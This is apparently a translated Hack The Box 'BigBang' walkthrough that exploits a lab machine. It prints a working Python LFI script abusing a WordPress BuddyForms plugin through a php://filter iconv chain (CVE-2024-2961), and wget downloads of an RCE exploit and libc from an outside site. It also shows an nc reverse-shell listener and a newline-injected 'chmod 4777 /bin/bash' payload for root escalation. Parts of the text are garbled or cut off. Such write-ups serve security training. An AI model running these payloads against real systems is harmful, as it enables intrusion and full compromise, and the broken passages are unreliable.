Bigbang Hackthebox Writeup
Bigbang Hackthebox Writeup
https://app.hackthebox.com/machines/BigBang
Here’s a comparison of the difficulty rating of this (just a reminder that it’s only hard) car and the last three insane.
He gave out quite a few different CVEs, but the most attractive one is probably this one.
And we even have an upload form for it on our site.
For now, let’s examine the uploaded files, which can be viewed here:
http://blog.bigbang.htb/wp-content/uploads/2025/
By the way, if you download the picture, you can see that it’s not just PNG. There’s some sort of additional data filtering going on. For better
understanding this article helped:
https://www.ambionics.io/blog/iconv-cve-2024-2961-p1
https://github.com/ambionics/cnext-exploits
The exploit exploits an old vulnerability in the iconv function from the libc binary. When trying to convert an encoding method like UTF-8 or
something similar to ISO-2022 CN EXT, a 3 byte overflow can occur. Combined with some PHP peculiarities and bugs in BuddyForms (our
vulnerable Wordpress plugin), this leads to an exploit that can pass data to PNG files, which ultimately allows for RCE.
We got this:
python3 bigbang_lfi.py /etc/passwd
import requests
import sys
import time
import json
if len(sys.argv) != 2:
print("Usage: python LFI.py <file_to_read>")
sys.exit(1)
file_to_read = sys.argv[1]
url = "http://blog.bigbang.htb/wp-admin/admin-ajax.php"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
}
data = (
"action=upload_image_from_url&id=1&accepted_files=image/gif&url="
f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.b
)
try:
response = requests.post(url, headers=headers, data=data)
if response.status_code == 200:
result = response.json()
if result.get("status") == "OK":
file_url = result.get("response")
if file_url.endswith(".png"):
print(f"PNG URL: {file_url}")
try:
file_response = requests.get(file_url)
if file_response.status_code == 200:
print("File Contents:")
print(file_response.text)
else:
print(f"Failed to retrieve file. Status code: {file_response.status_code}")
except Exception as e:
print(f"An error occurred while fetching the file: {e}")
else:
print("Error: Status is not OK")
else:
print(f"Error: Received status code {response.status_code}")
except Exception as e:
print(f"An error occurred: {e}")
The script sends a POST request in which we use the php://filter conversion chain, which includes a bunch of convert.iconv calls, resulting in a
CVE-2024-2961
It’s just a shame it’s not very useful as it doesn’t allow us to get an RCE. Thinking further
Briefly, we now need to make changes to the remote class to extract /proc/self/maps, remove the magic GIF byte from the file, then read the PHP
heap address and the full name of the libc file. After that, download it to extract the system() address. Using bigbang_lfi.py again, figure out that we
need this particular file: /usr/lib/x86_64-linux-gnu/libc.so.6. Install it to yourself and change the local ELF path to the installation path.
wget https://www.pentestnotes.ru/images/hackthebox/season7/BigBang/libc.so.6
wget https://www.pentestnotes.ru/images/hackthebox/season7/BigBang/bigbang_rce.py
The exploit may not run right away, you need to do a little mumbo-jumbo
sudo apt-get update
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
pip install ten
Get shell
nc -lvnp 4444
So we www-data
SHOW TABLES;
Also, when running netstat -a you can see open ports. Of interest to me were 9090 and 3000
developer:bigbang
The /command endpoint was vulnerable to command injection in the output_file parameter using the newline character (\n).
url = "http://127.0.0.1:9090/command"
headers = {
"Host": "127.0.0.1:9090",
"User-Agent": "curl/8.10.1",
"Accept": "*/*",
"Content-Type": "application/json",
"Authorization": "Bearer TOKEN"
}
payload = {
"command": "send_image",
"output_file": "foo \n chmod 4777 /bin/bash"
}
python3 script.py
/bin/bash -p